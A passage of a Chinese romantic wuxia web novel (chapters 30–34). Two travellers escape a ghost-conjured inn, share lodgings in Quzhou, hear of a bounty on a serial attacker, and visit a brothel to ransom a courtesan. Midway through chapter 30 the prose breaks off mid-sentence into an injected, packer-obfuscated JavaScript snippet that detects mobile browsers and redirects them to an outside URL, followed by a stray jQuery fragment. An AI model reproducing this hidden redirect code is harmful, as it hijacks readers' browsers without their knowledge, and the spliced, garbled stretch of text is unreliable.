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两人并肩慢悠悠地走着,陆怀袖同身侧的人有一搭没一搭地聊天,当然,大部分时间都是她单方面的在没话找话。自然而然地,她将话题转到了那两人身上,不由得感慨道:“真是没想到,他们十年前居然是江洋大盗,还假冒官员躲到这里来了,真是不可思议啊。”顿了顿,她又接着说道:“林家五十口何其无辜,遭遇了惨绝人寰的灭门惨案……” 说话间,她不经意地瞥了一眼薛矜,看着少年一副无动于衷的模样,她面色奇异,想也没想脱口而出说道:“感觉你一点都不同情那些人啊。” 薛矜闻言,抬头看向远方,只见朝阳正从天边喷薄而出,云缝里透射出裹不住的金色光芒。看了好半晌,他用只有自己才能听到的声音说道:“因为我和他们是共犯啊。” 他的声音实在是太小,以至于陆怀袖根本就没有听清,她转过头对上他微微一愣,很是好奇地问道:“你刚说了什么?我没听清楚。” 可少年没有再说一遍的打算,意味深长地看了她一眼后,快步向前,很快便将她甩在后面。陆怀袖愣愣地盯着他的背影,反应过来后也没闲心去想那些有的没的,一路小跑跟上前面大步流星的少年,一边跑一边喊:“慢点!等等我啊!” 初升的朝阳照在了两人的身上,一红一粉两道身影逐渐远去,直到消失不见。 30. 避雨 从安陆县出来后,薛陆二人就继续往前走,走到太阳就要落山的时候,便找一家客栈住下。这一路上走走停停,距离目的地越来越近,两人之间也是越来越熟,相处得十分自然轻松。 这日临近黄昏,两人行走在郊外,正有一搭没一搭地聊着,周围时不时传来一阵阵清脆悦耳的蝉鸣鸟叫声,听上去十分惬意。夕阳的余晖懒洋洋地洒在官道大路之上,将花花草草染成了金黄色,也将并肩而行的少年少女的影子拉得老长,天地一片温暖明亮。 迎面而来的微风轻抚着陆怀袖,她抽动鼻翼,呼吸着山林的新鲜空气,只觉浑身上下充斥着说不出的舒适感,忍不住开口说道:“薛公子,很高兴有你陪伴,这一路上的风景真的很多。” 她忽然没头没脑地说了这么一句话,薛矜先是愣了愣,反应过来后侧头看着她,眉眼不自觉舒展了起来,嘴角含笑道:“不必感谢,我不过是拿钱办事罢了。” 不知道为什么,听他这么说,陆怀袖只觉一种莫名的失落感,从心底深处悄然升起,很多想说的话堵在喉间,上不来下不去。她还没来得及深究这是何故,天空突然暗了下来,毫无预兆地下起了雨,奔向大地,淅淅沥沥。 几个大雨点砸在少女的头上,她哆嗦了两下,下意识伸手去挡,手臂上传来阵阵凉意,同时身体比脑子快一步作出反应,踮起脚尖,抬手挡在少年的头顶之上,为他遮去雨水。 这一举动让薛矜呆愣在原地,半晌都没有做声。铜钱大的雨点,铺天盖地似的洒下来,被他的护体真气自动弹开,打湿的只有陆怀袖的衣服。 意识到自己其实是多此一举后,小公主俏脸上一阵红一阵白,如触电一般撒开手,一连往后撤了好几步,像是做错了事情的小孩子一般,神情讪讪地说道:“很抱歉,我没过脑子就这样做了,你有武功傍身,雨根本就淋不到你……”她越说到后面声音越小,简直恨不得一巴掌拍死自己,对方乃是绝顶高手,哪里用得着她挡雨,她这次丢人丢大发了。 将她的神色收入眼底,薛矜宽容地笑了一下,轻轻摇了摇头,与此同时撤去了护体真气,雨水同样落在了他的身上,打湿了他的衣物。 少年抬手擦去脸上的雨水,冲少女吐了吐舌头道:“现在我们一样了。”见她直愣愣看着自己,他轻轻咳嗽了一声,而后伸出修长的手指,指了指某个方向的某一点,转移话题道:“前面不远处就有一家小客栈,我们先去那里避避雨吧。” 下一刻,他就这么斜睨了少女一眼,示意她跟上自己,对方随即迈开步子跟了上去。两人肩并肩漫着步子在雨中行走,一滴滴雨水从他们身上滴落在地面上。只不知为何,陆怀袖虽然淋着雨,看上去十分狼狈,心里却无端生出一股隐秘的欢喜来。 雨越下越大,逐渐从淅淅沥沥的小雨转变成了瓢泼大雨,但两人脚程很快,不一会儿就抵达了目的地,因此也没有淋到多少雨。薛矜直接催动内力将两人身上的衣物烘干,陆怀袖只觉一股热量从后背传来,窜入四肢百骸,让她整个身躯都暖洋洋的,身上的粘腻感很快消失不见,舒服至极。 薛陆二人刚到门口,便有一位店小二打扮的男子快步迎了上来。他滴溜溜转着眼睛,不刻意的从头到脚打量了两人一番后,脸上立刻挂上了巴结讨好的笑容,忙不迭将他们领进了大堂。 走了一阵子,两人都有些饿了,随便找了个位置坐下来。店小二将桌椅擦拭干净,随后询问两人要吃点什么。薛矜点了两荤一素一道凉菜,旋即抛给店小二一锭碎银,对方拿到银子后便向后厨小跑而去。 等待上菜的间隙,陆怀袖百无聊赖的打量着这间客栈,只觉店里的装饰虽然不算好,胜在干净整洁,倒也别有一番风味。唯一美中不足的是少了些活人气,不要说除了他们两个之外,就没有别的客人了,就连干活的伙计都没几个。转念一想,他们也是蛮幸运的,下雨的关头正好撞见了这间小店,一来避了雨,二来有了落脚之处,可以歇息一晚再出发。 看了一会儿,她收回打量的视线,自然而然投落在对面的少年身上,却见他微微蹙着眉头,不知道在想些什么。他一直表现得从容不迫,陆怀袖甚少见他露出这种表情,不由得心中一紧,一股不祥的预感顿时涌上心头。她努力斟酌着措 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273377|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞,正待要开口问个明白,店小二却在这时将一碟又一碟的菜肴端了上来。 菜肴甫一端上桌,陆怀袖凝目看去,眉头立刻就拧了起来,这些菜看上去黑得跟炭一样,闻起来也有一股食物腐烂之后的酸臭味,实在是让人恶心倒胃口。她皱着眉看着这些菜肴,脑海里第一个冒出的念头就是——这菜,狗都不吃。 不适了片刻,她又转念一想,这里不比皇宫大内,荒郊野岭的也没有别的地方可以祭五脏庙,看来只能委屈一下自己了。想到这一点,她虽是心不甘情不愿,但还是强忍住心中的恶心,提起筷子,拿出壮士断腕的勇气准备夹菜,谁料筷子刚一伸出,就被薛矜按了下去。 薛矜抬手抓住陆怀袖的手腕,在少女不明所以的视线中,冲她轻轻摇了摇头,随后定定地看向店小二,把脸一沉,装出一副大动肝火的模样,疾言厉色地说道:“瞧瞧你这送的都是些什么菜,闻起来发臭,看起来就倒胃口,这就是你们的待客之道?你们这样做生意,谁还敢光顾你们这里,怪不得生意如此惨淡。” 店小二听他这般说,非但不生气,反倒笑着答应:“客官说得是,客官说的是。”他嘴上说着赔罪的话,脸上却不见一丝歉意。 薛矜抱着双臂冷冷地看着对方,墨色的眼瞳中酝酿着不满。过得片刻,他从鼻腔里发出一声轻哼:“还不快给我们换上新鲜的饭菜,小心我们出去之后宣扬你们的不是,你这家店就等着关门了。”说完皱着眉头,嫌恶地看了一眼那些早已馊了的饭菜。 店小二脸上还是维持着那诡异的笑容,按照他所说的,将这些菜尽数端走,往后厨去了。 虽不明白薛矜为什么要这样做,但陆怀袖就是莫名坚信,他这么做一定有他的道理在。直到店小二的身影消失在自己的视线中,她才挪回视线,看向对面的少年,用口型无声问道:“怎么了吗?” 薛矜望向她,眉头微微蹙着,同样用口型答道:“这家店有问题。” 读懂了他的口型后,陆怀袖心中咯噔一声,暗叫不好。还真的是好的不灵坏的灵啊,自己先前那不祥的预感,如今居然成真了。 31. 脱困 店小二自从去了后厨就没有再回来过,店里的其他伙计也如同人间蒸发一般,怎么找也找不到,气氛无端冷了下来,漫长的沉默在薛陆二人之间蔓延开来。 最先开口打破沉默的是薛矜。 他定定地看着对面的少女,压低声音,用只有两人才能听到的声音说道:“不知道该怎么跟你说,我生下来就有一项奇特本领,每次出现危险的时候就会心惊肉跳,再结合当时的环境稍加推断,就知道危险了。依仗这项本领,我屡次遇到危险都能提前预警,从而化险为夷。刚才我就有了这种反应,心跳异常,莫名紧张。我凭直觉推断,这家店绝不是什么好店,必定暗藏杀机。” 话音刚落,他朝坐在自己对面的少女使了个眼色,两人齐齐站起身来,将这间客栈每个角落都不放过的检查了一遍,骇然发现门窗全都消失不见,四面墙连成一片,整间客栈犹如铜墙铁壁一般将他们团团围困起来。而薛矜在此地能力意外受到限制,没法发挥全部实力,即使拔刀出来挥砍,也不能破开墙壁。 伸手摸了摸丝毫没有损坏的墙壁,薛矜将刀收回,深吸一口气,笃定地作出判断:“看来这间客栈是幻化出来的。”他用的不是疑问句,而是陈述句的语气。 听他作出这般推断,陆怀袖的心不由得往下沉。她以前只在志怪话本里看过这种桥段,有一类山精鬼魅会幻化出宫殿房屋引诱过往行人,然后以他们为食,当时看了这些东西只觉恐怖,如今身临其境,更是惊悚。 薛矜见小公主一张俏脸唰地白了白,垂眸看着她,喉结滑动:“既来之则安之,我们既误入此地,就该尽力寻找脱困之法,而不是坐以待毙。那店小二去了这么长时间不回来,也不知在筹谋什么,我们且去看看,说不定能发现什么。” 他的声音仿佛有一股奇异的魔力,让陆怀袖不安的心慢慢地平定下来。她深吸了三口气,在心里不停地告诉自己,有他在身边,没什么可怕的,随后朝少年点了点头,跟在他身后,一步一步往后厨走去。 * 抵达目的地的时候,他们发现一个厨娘打扮的老妇人正在打盹,并没有看到那名店小二的身影。两人对视一眼,从彼此眼中看到了相同的意思,陆怀袖随后上前一步,成功将其唤醒,柔声问道:“请问老人家,这里是什么地方,为什么门窗都被封死,我们要如何才能出去?” 老妇人悠悠醒转,视线在他二人身上来回打转,过了半晌,长长叹了一口气道:“你们来的这个地方没有活人,我们都是鬼魂。那些小鬼打算趁你们睡着,放把火烧死你们,这才将门窗封死,让你们无路可逃。” 两人听罢,皆是蹙紧了眉头,陆怀袖蓦地沉下声:“这些鬼魂为何害人?” 老妇人目露哀伤地说道:“这里本是一处乱葬岗,里面有位厉害无比的鬼王,那些小鬼为了讨好他,就幻化出一间客栈诱骗过往行人,伺机拘来他们的魂魄,给鬼王当牛做马。而我是葬在这里的游魂,被他们威逼利诱,不得已在此处为虎作伥。” 陆怀袖默默听完,不知怎么想到了那些饭菜,既然客栈里面都是游魂野鬼,想必那些饭菜都是什么蚯蚓之类爬虫幻化出来的,还好自己一口都没有吃下去,不然可真是连隔夜饭都要吐出来。想到此处,她伸手拍了拍胸脯,一副惊魂未定的模样。 另一边,薛矜微微弯下身子和老妇人平视,直截了当地问道:“那么请问老人家,我们该如何脱困呢?” 老妇人听他这般问,张了张唇,一副欲言又止的模样,但最后也只是轻叹了一口气,幽幽说道:“我现在是泥菩萨过江,自身难保,哪里有能耐助你们脱困呢,你们也只能自求多福了。” 被她委婉地拒绝,薛矜也不气馁,眼珠子骨碌一转,语气恳切地说道:“那么请问您有什么未了的心愿呢,若您能指点一二,让我们脱困,我们出去之后一定会替您达成。” 陆怀袖听了也在一旁附和道:“对呀,如果我们逃得出去,一定助您达成心愿,弥补遗憾。” 这番说辞还着实打动了老妇人,她的目光落在眼前这对少年少女的身上,面上流露出动容之色,迟疑了许久才道:“此话当真?” 两人抬眸看过去,一点也没有犹豫地点了点头,眼中的诚挚让老妇人心神一松,恍惚了一瞬。她沉吟良久,方道:“我的确有一个法子可以让你们脱离魔窟,不过你们得答应帮我一个忙。” 此言一出,薛陆二人交换了一个眼神,皆在对方眼中见到喜色,他们异口同声地说道:“您说便是。” 得到这份承诺之后,老妇人抬起头盯着虚空中的某个点,眼中露出一抹回忆的神色,“我亡夫本是一介商贾,做着贩卖茶叶的生意,家中虽称不上大富大贵,却也是薄有身家,谁知五年前他被看他不顺眼的死对头陷害,连本带息欠了一屁股债,自此家道中落,一家三口只能挤在茅草屋里,没过多久便郁郁而终了。我也只得用所剩不多的家财,含泪安葬了他。” “家中的顶梁柱倒了之后,很快便有一大群债主闻风而来,上门讨债,生怕我们赖了这笔帐,让他们做了冤大头。可我哪里拿得出这许多钱,苦苦哀求他们放宽期限,他们却听都不听,还不由分说掳走了我的独女,将她卖入青楼换了一大笔钱。因为这事,我害了场大病,没过多久也死了,被街坊邻里挖了个坑,草草埋葬。” 说到此处,她顿了顿,如溺水之人抓住了浮木般死死盯着两人,隐忍着的颤抖声线响起:“我的女儿名唤水玲珑,被卖入的是曲州城的解语楼,如今算来也有十七岁了,别的姑娘家在她这个年龄早就相夫教子了,她却要沦落风尘,倚门卖笑,而这一切都怪我们当父母的无能。我想请你们出去之后为她赎身,不知你们能否做到?” 陆怀袖将她说的这番话一字不落地听在了耳中,想也没有想就脱口而 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随着他的话音落地,陆怀袖的脑海中不由自主地联想到某些画面,忍不住笑出声来。直到薛矜没好气地瞪了她一眼,她才敛住笑意,可嘴角还是微微弯了起来,昭示着主人的好心情。 * 没过多久,那些鬼魂便回到客栈中,准备执行先前制定好的计划,烧死薛陆二人,将他们的魂魄拘来给鬼王当仆役。就在他们将要动手之际,老妇人从后厨转出,大喝一声,制止了他们的举动:“快些放我出去!不要殃及池鱼!” 小鬼们你看我我看你,面面相觑,他们倒是忘了这个在后厨烧火做饭的仆妇了。其中一个小鬼应和一声,一扇大门霎时间出现在平滑的墙面上。 就在这时,客栈里毫无预兆地响起了一阵高昂洪亮的鸡鸣声,瞬间回荡在客栈的各个角落,让他们脸色大变,惊恐得无以复加。老妇人见众鬼被吓得浑身抖如筛糠,趁机说道:“奇哉怪也,这里怎么会有鸡鸣声,想必是外面的野鸡跑进来了,咱们快逃,晚一点就要魂飞魄散了。”说完就当先一步,慌不择路的径直往前冲。 小鬼们见她一溜烟就跑走了,也是抱头鼠窜,紧随其后,往客栈的外头跑去。 很快整间客栈变得空空荡荡的,就只剩下薛陆二人。见众鬼都跑得没影了,外面静悄悄的落针可闻,两人才施施然从后厨走出。见大门洞开,他们皆是松了一口气,心中十分感念老妇人的恩德。 他们大摇大摆的走出了客栈,继续赶路,只不过此行又多了一个目的,那就是前往曲州城,替那位家道中落误入风尘的青楼女子赎身。 两人不知道的是,自他们走后,整间客栈顷刻间消失不见,露出底下的真容来。此时雨已经停了,不过天空却依旧阴沉着。白惨惨的月亮照着随处可见的裸露白骨,坟冢之间,乱石林立,不时传来几声乌鸦的怪叫,处处都透着一股阴森恐怖。 而这一切,都已经和远去的二人无关了。 32. 梦游 薛陆二人出了那间客栈后,马不停蹄的向前走,很快就进入了不远处的曲州城。曲州城是一座繁华的城镇,交通发达,贸易往来频繁,很多要道都经过这里,能玩能逛的地方非常多。 两人抵达时已经入夜,华灯初上,街上行人往来如织摩肩接踵,有华冠丽服的,也有粗布麻衣的。道路两旁的摊贩高声叫卖着,隔两步就能看见另一个摊位。 他们在小吃街逛了一圈,各色小吃目不暇接。他们不停的嗅着来自各种小食摊的香味,肚子咕噜咕噜叫得更加明显了。两人最终找了一处生意兴旺的烤鸭摊坐下,一人点了一只烤鸭,烤鸭烤得外脆里嫩,一口咬下去,酱汁在嘴里散开,好吃得让人舌头都要咬掉了。 一顿饱腹后,他们结完账离开小食摊,又找到了城中最好的客栈,打算歇上一宿,只是可惜的是,他们被掌柜告知,由于近日客源过多,本店就只剩下一间上房了。 两人听到这样一个噩耗,心中暗自腹诽道,掌柜你以为你在写话本么,这是什么老土桥段,男女出去住宿永远都只剩一间房。不过为了不睡大街,他们只好妥协,接受了掌柜的安排,暂时在一间房里挤上一晚。 薛陆二人踏入房中,眼神扫视了一圈,房间虽然不大,布置得却十分雅致,床头有几本书,墙上挂着幅水墨画,看着颇有意境,不知是出自哪位名家之手,窗边的长案上还摆着两盆兰花,散发出淡淡的清香。 唯一美中不足的是里面只有一张床,虽然床很大,但总不能让两人睡在一张床上吧?那么谁睡床,谁睡地,这是一个问题。 两人面面相觑了好一会儿,最后开口打破沉默的是陆怀袖。她看着少年,装出一副大义凛然的模样,很是勉强地说道:“薛公子不必谦让,你这一路很是劳累,我睡地面就是了。”当然,她想睡的是床,之所以这么说,只不过是故作退让,期望对方良心发现罢了。 怎料薛矜并不按套路出牌,他用一种孺子可教也的目光看着她,赞同点头道:“你说得对,我这一路为你保驾护航,披荆斩棘,实在是劳苦功高,就该睡在床上。”语气之理所当然,实在是令人匪夷所思。 多么没有君子风度的一个人啊,真是不懂得什么叫做怜香惜玉。 陆怀袖一时有些词穷,无话可说。她气鼓鼓地看着笑吟吟的他,随后跺了跺脚,转身从橱柜里抱出来一床被褥,铺在地面上。把地铺打好后,她直接躺在上面闭上双眼。 与此同时,薛矜走到床边,修长身子往柔软的床上一躺,盖上被子,和衣而眠。 两人就这样一个睡在床上,一个睡在床下。陆怀袖仰面躺在地上,闻着淡淡的兰花幽香,听着少年浅浅的呼吸声,心中的怒气渐渐平复了,取而代之的是一种说不清道不明的异样感,让她难以入眠。她索性睁开双眼,扭过头看向了床上的少年,想到自己正和对方共处一室,只觉得浑身都不对劲,连睡觉都不知该用何种姿势了。 对方的呼吸轻得像一根羽毛一般,落在她的耳畔,却让她根本静不下心来。不过随着时间的推移,困意铺天盖地的涌了上来,她的眼皮渐渐沉重,终是抵不住疲倦,阖上双目进入梦乡。 夜半时分,轰隆一道雷声忽然炸响,让薛矜从睡梦中醒来。他一向睡眠很浅,稍微有点动静就会惊醒,何况是滚滚雷声。随之而来的是一道白光从眼前闪过,一瞬间,周围亮如白昼,他下意识侧目看去,只见陆怀袖背对着他起身,迈着脚步往房门的方向走去。 外面风雨交加、电闪雷鸣,独身女子深夜出门极大可能遇到危险,薛矜见状,眉头微蹙,不由得开口劝阻道:“陆小姐,你还是不要在这个时候出去的好。” 回答他的是一片沉默,陆怀袖像着了魔一样往外走,全然把他的话当做耳旁风。 薛矜眉头蹙得更紧,对方可不是这么没礼貌的人,听到他的话,回都不回一声。很快,一个念头浮现在他的脑海里——小公主不会是梦游了吧? 这个念头一出,他身形微动,转瞬间便出现在陆怀袖面前,见少女向来闪闪发光的眼睛变得空空洞洞的,一副不在状态的模样,果真是在梦游,二话不说就伸手攥着她的手腕,将她往里拖,对方被他抓住手腕也不反抗,温顺得像只小绵羊。 他将她带到床边,出乎他意料的是,对方直接躺倒在床上,动作行云流水,快到了极点,让薛矜不由得怀疑,对方是不是演的,目的就是为了霸占他的床。他暗暗磨了磨牙,最后还是将床让给了少女,打算自个儿睡地铺。 可谁知就在他转身之际,陆怀袖反客为主,伸手抓住了他的手腕,力度之大仿佛要把他的手腕捏碎。他被她的动作弄得一愣,反应过来后就想要大力甩开。可他刚要动手,就想到自己听过的一个传闻,梦游的人是不能被惊醒的,被惊醒的话梦游的人很可能会死掉。 想到这里,他不知怎么的,就打消了这个念头。无奈地叹了一口气之后,他怕少女死翘翘,只好强忍着抽出手的冲动,任凭她拽着自己的手腕,顺着她的力道在床边趴了下来,很快又进入了梦乡。 在天光微亮时,陆怀袖迷迷糊糊地醒来,看着头顶雨过天青色的帐子,想着自己为什么会在这。但下一刻,感觉到手中的触感,她侧头望过去,映入眼帘的景象更是让她大吃一惊。 她看着趴在床头睡熟的少年,以及自己握在他手腕上的手,大脑一片空白的同时,脸上也泛起了薄红。 晨光丝丝缕缕的透过薄如蝉翼的窗纸,照射在少年的发丝上,折射出耀眼的金色光辉。少年俊秀如天神的容颜近在咫尺,她盯着他怔怔地看了会,不知怎的,非但没有松 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陆怀袖看着自己的安禄山之爪,触电般收回了手,又一次重复说道:“对、对不起……” 薛矜听着少女的连声道歉,不以为意地摆了摆手,看着满脸歉意的她打趣道:“不必道歉,你要是真的觉得对不起我,给我加钱就是了。” 他本来只是随口一说,并未当真,哪想到少女听罢,瞬间抬起头来,两眼亮晶晶地看着他,神色无比认真地说道:“好啊。”说完,她顿了顿,又莫名其妙地问了一句:“薛公子,你很缺钱吗?” 这个问题打了薛矜一个措手不及,他倒不是缺钱,他的钱多到几辈子都花不完,之所以总和人谈钱,一是因为没人会嫌钱多,二是因为他从不干无利可图的事,他打心眼里认为,自己所有的付出都要得到回报,绝不干白活就是他的人生信条。 不过这些话他也懒得浪费口舌和少女解释,直截了当地点点头,随口糊弄道:“不错,我缺钱得很。” “这样。”陆怀袖点了点头,心中暗下决定,等自己抵达了北离王宫后,就要想办法给少年弄上很多很多的钱,多到他下下下辈子都花不完。既然他想要钱,那自己就给他好了。不知为何,她就是想把天底下最好的东西都捧到他的跟前。 看着少女抿紧唇,捏紧拳头,一副下定决心的样子,薛矜只觉得好笑,抬起手轻轻拍了拍她的头,一本正经地说道:“别想这些有的没的,快点起床洗漱,别忘了我们来这的目的,用过早膳之后还要去解语楼,替那位水小姐赎身。” 经他提醒,陆怀袖总算是想起昨日答应老妇人的事,想到自己马上就要像话本里的大侠一样,行侠仗义,救人于水火之中,她顿时热血沸腾起来,火速下床,简单洗漱了下,然后“噔噔噔”地踩着木楼梯,跟着少年一道下楼去了。 33. 悬赏 两人下了楼梯之后,在一楼随便拣了个位置坐下,点了几样早点,打算吃完之后就出发前往解语楼,替那位水姑娘赎身。 在等待的期间,陆怀袖托着下巴打量了一圈,大堂内座无虚席,一些没有座位的人还是站着的,果然是生意爆满。其中有很多客人作侠客打扮,明显是江湖人士,他们高谈阔论,讲起江湖轶事是信手拈来,让久居深宫的小公主听得津津有味。 没过多久,一名黑衣跑堂端着木质的托盘朝他们走来,上面放着一袋包子和两碗豆浆。陆怀袖收回打量四周的目光,看向离他们越来越近的跑堂,肚子咕咕叫得更强烈了。 谁知就在这时,两个七八岁的小孩在过道打打闹闹,没有注意到前方的跑堂,直直朝他撞去,眼看着就要撞到他了。陆怀袖眼见得这一幕,脑中已经浮现出豆浆包子洒了一地的画面,忍不住紧张地咽了咽口水,生怕待会出现一片狼藉的景象。 只是大大出乎她意料的是,那名跑堂以一个十分诡异的姿势,侧身避开了本来不可能避开的小孩,若无其事地继续朝他们走来,仿佛刚才什么都没有发生过似的,举着托盘的手依旧稳稳当当,甚至连豆浆都没有洒出一滴。 将他方才的动作尽数收入眼底,这不得不让陆怀袖对他刮目相看。她不可置信地瞪大了双眼,在心中连连感叹,民间真是卧虎藏龙,人才辈出,想不到这样一个小小的跑堂,身手竟也很是不凡。 不过片刻,那名跑堂已经走到他们跟前,动作利索的将早点摆放在他们的桌子上,随后便要离去,只是在转身之际,一声“且慢”传至他的耳畔。 薛矜见对方转过身来,一脸“客官还有什么吩咐”的模样,先是将一锭碎银抛入他的怀中,随后状似不经意地问道:“这位小哥,在下想向你打听一个人,不知你可曾听说过解语楼的水玲珑?”常年行走江湖的人都知道,由于客官遍布五湖四海,各大客栈的杂役跑堂可谓是见多识广,活脱脱一群事事均知的万事通,向他们打探消息,是再好不过的了。 果不其然,那名跑堂手里一掂,银子总有三四两重,很快便精神抖擞满面春风地说道:“自然是听说过的。这曲州城,还有谁没听说过这位水姑娘的大名呢,她可是艳名远扬的花魁娘子啊。” 薛陆二人听罢,不由得对视一眼,皆在彼此眼中看到了相同的惊讶与担忧——没想到他们即将救风尘的对象竟还是位花魁娘子,那么作为老鸨摇钱树的她,想要逃离青楼可就没那么容易了。 跑堂的视线不动声色的在陆怀袖面上停了一瞬,旋即又飞快挪开。他顿了顿后继续往下说:“这位水姑娘来到解语楼五年,却还是个卖艺不卖身的清倌人,所做的不过是弹琴奏乐吟诗作画。她不光有清丽脱俗的外表,更兼才艺过人,可谓色艺双绝,想要追求她的人如过江之鲫,也不知道谁那么好运抱得美人归。”他说到这里,眸光闪了几闪,下意识舔了舔自己的唇。 打探完消息后,那名跑堂便告辞离去,陆怀袖见薛矜看着他的背影,一副若有所思的样子,不由得身子向前倾了倾,好奇问道:“怎么了吗?” 薛矜不动声色地挪回视线,在她不明所以的目光中道:“没什么。” 随后两人开始享用早膳,不得不说,这间客栈生意兴旺是有道理的,里面提供的食物的确十分可口,豆浆香醇浓郁,包子鲜美多汁,两个人吃得不亦乐乎。在用餐的过程中,陆怀袖竖起耳朵,继续听着那些江湖人士的闲谈,斜对面那桌的客人的谈话很快吸引了她的注意力。 侠客甲喉头滑动:“你听说了吗兄弟,曲州城的官府为了尽早抓到那名采花大盗鬼影子,可是把赏金提高到足足一千两白银了。” 侠客乙接住他的话茬:“自然是听说了,想必这满堂客人,有不少就是为了赏银来的。只是要捉住那贼人也不是那么容易的,此贼轻功极高,又极为狡诈,屡屡得手,现场没留下任何证据。不是我说丧气话,就算出动这许多人,也不一定就能将他捉拿归案。” 两人你一言我一语说个不停,陆怀袖从中听出了个大概。此地官府要抓一个名叫鬼影子的采花大盗,无论生死,捉住了便赏银千两。他轻功高绝,而且每次作案之后都会在受害人身旁放一枝桃花,以此来彰显自己的存在。此人本来已经销声匿迹,近两年又再度猖獗,而且作案手段很是残忍,不仅取了那些女子的清白,还要害了她们的性命。 这两年来,那名采花贼在这附近地带接连犯下了几十件案子,不拘美丑,不论老幼,闹得满城风雨,人心惶惶,姑娘家都不敢贸然出门,生怕着了他的道,不仅丢了清白,还要枉送性命。 对于此人犯下的累累罪行,陆怀袖恨得是咬牙切齿,拳头捏了又捏,巴不得官府早日将这贼人捉拿归案,让他为自己对那些无辜女子所犯下的罪行付出应有的代价。因为听得火气都上来了,她早膳也没心思吃,还剩下一半。 但这事丝毫不影响薛矜的用餐速度,他很快吃完,朝对面一脸义愤填膺的少女看了一眼,随后霍一声站起来,薄唇轻启:“我待会要去见一个人,很快就回来,你慢慢吃。” 陆怀袖闻言乖乖地点点头,小嘴嚼吧嚼吧把嘴里的包子咽下去,回道:“去吧,我就在这里等你。”说完便目送少年的背影渐渐消失在视野中,直到再也看不见他的身影才挪回目光,努力将剩下的早点解决掉。 用完早膳后,陆怀袖双手撑着下巴,视线漫无目的地四处游走,从正在叽叽喳喳交谈着的客人身上,又投向忙得像高速旋转的陀螺一般,脚不沾地的跑堂们,但最后总是会回到大门口,等待着那一抹红色的身影。 等了又等,一刻钟很快就过 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两人推门而入,薛矜将木盒递给陆怀袖,示意她换上给自己看。少女拿出那套男装,兴致勃勃地走到屏风后,开始宽衣解带。一阵衣物窸窸窣窣的声音过后,陆怀袖从屏风后走了出来,薛矜抬眼看过去,忍不住在心中喝彩一声,好一位俊俏的少年郎。 陆怀袖被他从头到尾仔细打量了一番,有些不好意思地缩了缩肩膀,正要开口时,却听见他点评道:“蛮好看的,就是还差了一点。”闻言,她抬起头愕然地看向少年,下一刻就被他带到梳妆台前。 薛矜拿起一把精美的木梳在手中把玩,笑吟吟地看着镜中的少女,喉结上下滚动着:“你会梳男子发髻么?” 他的话音刚一落下,陆怀袖便诚实地摇了摇头,她自然是不会的。 薛矜在指尖灵活地转动着那把木梳,闻言挑眉一笑道:“那就只好由我代劳了。”说罢执起木梳,将少女绸缎似的长发梳理整齐,骨节分明的手指在她的乌发之中穿梭,发丝很细很软很顺,让人爱不释手。他站在她身后为她梳着发髻,神情专注,全程一言不发。 他心无旁骛,陆怀袖却是心乱如麻。向来为她梳头发的都是荼蘼,如今换作了少年,让她感到新奇的同时,也油然生出了一种异样的感觉,像是有一股电流窜过自己的身体。她僵硬着身子坐在铜镜前,感受到对方手上传来的热度,和呼在自己耳畔的热气,只觉他不仅在摆弄她的头发,同时也在不轻不重地揉捏着她的心脏。 少年灵巧的手上下翻飞,不一会儿发髻梳好,他停下手中的动作,细细端详着镜中这位刚出炉的“美少年”,满意地打了个响指,笑嘻嘻道:“大功告成。” 陆怀袖对着镜子中的自己打量了一番,也觉得很是满意,不由得左看右看,嘴角微微扬起。 一切准备妥当后,薛陆二人便向着目的地解语楼进发,准备大闹青楼,营救花魁。 34. 花魁 薛陆二人花钱雇了一辆马车,马车在城里行驶半个时辰后,晃晃悠悠的抵达了解语楼。终于到达了目的地,他们当即掀开帘子,跳下了马车,往楼里走去。 解语楼是曲州城最大、最豪华的青楼,同样也是达官贵人的销金窟,文人墨客的温柔乡,他们在这里一掷千金,只为博佳人一笑。 两人刚一进入楼中,一股带着脂粉味的香风扑面而来。陆怀袖环顾了一下四周,这间青楼装饰华美、雕梁画栋,一路上载歌载舞,乐声不断,喧闹得不行。尽管是白天,依然有人陆陆续续的走进来走出去,到处都是美人美酒美佳肴,细细柔柔的吴侬软语将客人迷得东倒西歪。 其中一个穿着艳丽打扮得花枝招展的姑娘眼尖地看到了薛矜,顿时惊为天人,看得都挪不开眼了。她不禁咽了咽口水,越过那群大腹便便、穿金带银的客人,跟打了鸡血似的贴了过来,任谁都能看出她的心思来。 陆怀袖见状将薛矜拉到自己的身后,挡在两人身前,在她错愕的目光中一本正经地开口说道:“我兄长不近女色的。”语气之认真,就好像真有这回事一样。 那位花姑娘闻言,诧异地挑了挑眉,仔仔细细的将薛矜从头到尾打量了个遍,虽然没说话,但她的表情明明白白地写着,不近女色还来这儿,这年头太监也来逛青楼? 大概是对方脸上的表情太过明显,薛矜成功读懂了她的意思,嘴角不由自主地抽了抽,却也没有开口辟谣,直到那姑娘走远了,才看向自己这位便宜妹妹,用只有两人才能听到的声音,皮笑肉不笑地说道:“陆小姐未免入戏太深了吧?” 陆怀袖坦坦荡荡地迎上他的视线,说出了一种理不直气也壮的感觉:“我好心替你挡桃花,你不谢我还要说我?” 薛矜盯着这位小公主,陷入深思。她是什么时候学会颠倒黑白,睁着眼睛说瞎话的?全然不知什么叫做近朱者赤,近墨者黑。 这个小插曲结束后,两人随便挑了个空位坐下,他们在来之前还和车夫打听了一下消息,得知每过七天,那位水姑娘就会登台献艺,然后由老鸨拍卖和她单独见上一面的机会,价高者得。当然,不能动手动脚。 而今天,就是水玲珑现身的时日。 薛陆二人坐在那儿,一边惬意地享用着瓜果点心,一边等待那位传说中色艺双绝的花魁娘子出场。 